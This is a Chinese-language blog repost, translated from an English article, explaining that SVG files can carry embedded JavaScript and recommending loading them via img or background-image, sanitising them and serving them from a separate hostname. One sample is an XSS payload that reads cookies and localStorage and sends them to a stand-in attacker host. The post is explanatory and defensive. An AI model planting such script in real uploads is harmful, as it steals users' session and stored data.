SVG中JavaScript

古城微笑少年丶 2023-02-21 14:22 5阅读 0赞

SVG是用于创建自定义字体，动画，尺寸减小的图形等的出色工具。 它们既是HTML，又是图像，而且都很棒。 由于SVG提供的灵活性，许多网站已转向SVG，而不是JPG，GIF和PNG。

这种灵活性的一个例子是什么？ 您是否知道可以将JavaScript直接嵌入到SVG文件中：

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
    <path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/>
    <path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
    <script>
        alert("Hello world");
    </script>
    </svg>

这是一个很酷的功能，但是如果按原样嵌入到页面中，也是一个安全问题。 例如，如果用户使用以下代码将SVG上传到您的网站：

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100">
    <path d="M90,18c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#CCC" stroke="#DDD" stroke-width="2" stroke-linejoin="round"/>
    <path d="M87,15c-90-45-115,102,0,69v-21l4-3h-23l-8,4h16v19c-80,15-65-106,2-63l-4,5l4-1z" fill="#00F"/>
    <script>
        //  BAD! Send the user's info to your website!
        const info = JSON.stringify(document.cookie) + JSON.stringify(localStorage);
        document.location = "https://mybadsite.tld/stolenInfo=" + info;
    </script>
    </svg>

...他们可以通过XSS窃取Cookie，存储空间和其他信息。 那是个问题。 防止这种情况的一种方法是将JavaScript剥离到SVG中，但是您也可以通过CSS嵌入`<img>`或作为`background-image` ：

<img src="/path/to/image.svg" />

当您使用`<img>`或`background-image` ，将阻止执行JavaScript，从而使SVG相对安全！ 但是，您仍然应该清除SVG中的不良内容，并从其他主机名提供它们，以免共享cookie！

> 翻译自: [https://davidwalsh.name/javascript-in-svgs][https_davidwalsh.name_javascript-in-svgs]

[https_davidwalsh.name_javascript-in-svgs]: https://davidwalsh.name/javascript-in-svgs

发表评论取消回复

表情：

评论列表（有 0 条评论，5人围观）

还没有评论，来说两句吧...

相关阅读

相关使用 JavaScript 将 SVG 转换为 PNG

我过去一直使用 canvg 将 SVG 转换为 PNG，但是正如您从链接中看到的那样，它并不支持所有 SVG 功能。如果您使用 D3 或任何喜欢在 SVG 中工作的库，那么您可

男娘i/ 2023年10月02日 13:52/ 0 赞/ 37 阅读

相关 SVG中JavaScript

SVG是用于创建自定义字体，动画，尺寸减小的图形等的出色工具。它们既是HTML，又是图像，而且都很棒。由于SVG提供的灵活性，许多网站已转向SVG，而不是JPG，GIF和P

古城微笑少年丶/ 2023年02月21日 14:22/ 0 赞/ 6 阅读

相关 [JavaScript]Canvas和SVG的比较

Canvas 与 SVG 的比较 svg是什么？ SVG 指可伸缩矢量图形 (Scalable Vector Graphics)。 SVG 用来定义用于网络的基

迈不过友情╰/ 2022年12月06日 15:07/ 0 赞/ 183 阅读

相关 vue中使用svg

首先使用vue cli3.x初始化一个基础框架新建svg组件  <t

川长思鸟来/ 2022年12月05日 00:43/ 0 赞/ 222 阅读

相关 JavaScript操作SVG 提高篇

前阵子学习了一下[SVG(Scalable Vector Graphics)][SVG_Scalable Vector Graphics]，希望能借此弥补自己在图形艺术上的不足

曾经终败给现在/ 2022年09月22日 13:53/ 0 赞/ 220 阅读

相关 SVG基础以及使用Javascript DOM操作SVG

[简介][Link 1] [在HTML中使用SVG][HTML_SVG] [分组元素<g>][g]

àì夳堔傛蜴生んèń/ 2022年09月22日 13:53/ 0 赞/ 345 阅读

相关 JavaScript SVG分叉树

使用 SVG 做一个树的动画 <!-- <!DOCTYPE> 声明不是 HTML 标签；它是指示 web 浏览器关于页面使用哪个 HTML 版本进行编写的指令。

叁歲伎倆/ 2022年07月11日 00:26/ 0 赞/ 193 阅读

相关 SVG_SVG动画案例

尊重原创，欢迎转载，转载请注明： FROM GA\_studio [http://blog.csdn.net/tianjian4592][http_blog.

柔情只为你懂/ 2022年05月24日 05:57/ 0 赞/ 392 阅读

相关【svg】svg动画

如果你之前没有接触过svg，可以看下这个简略图：[ https://www.processon.com/view/link/5ae205a2e4b0411f64d1f65a][

àì夳堔傛蜴生んèń/ 2022年05月18日 07:51/ 0 赞/ 360 阅读

相关【javascript】webpack 加载svg

标签（空格分隔）： webpack -------------------- 如何在我们的项目中加载svg矢量图？使用file-loader 比如像ske

川长思鸟来/ 2022年02月20日 12:43/ 0 赞/ 493 阅读